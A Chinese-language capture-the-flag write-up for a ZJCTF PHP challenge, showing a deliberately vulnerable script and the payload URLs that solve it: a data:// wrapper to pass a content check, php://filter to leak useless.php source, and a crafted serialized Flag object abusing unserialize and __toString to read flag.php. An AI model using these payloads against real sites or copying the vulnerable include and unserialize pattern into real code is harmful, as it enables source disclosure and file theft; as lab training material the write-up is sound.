进入环境
知识点
1:data伪协议写入文件
2:php://
php://filter用于读取源码
php://input用于执行php代码
伪协议利用解释:https://www.cnblogs.com/-chenxs/p/11571903.html
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){#判断$text变量是否存在并判断"welcome to the zjctf"是否被写入
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";#如果满足条件输出写入的内容
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
#文件包含,已经提示要我们查看userless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一层绕过
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
需要让$text输入 ”welcome to the zjctf“ 传入文件中才能进行后面的步骤, 这里可以用php://input伪协议在以POST形式传入“ welcome to the zjctf " 也可以用data伪协议传参
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
file_get_contents
第二层绕过
php伪协议filter读取useless.php
针对php文件我们需要进行base64编码,否则读取不到其内容,所以使用其自带的base64过滤器
?text=data:text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
序列化之后构造password
<?php
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
$password = serialize($password);
echo $password;
?>
O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;}
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
在页面源代码里面
flag{285a8837-db19-4982-a562-fe14165b97cd}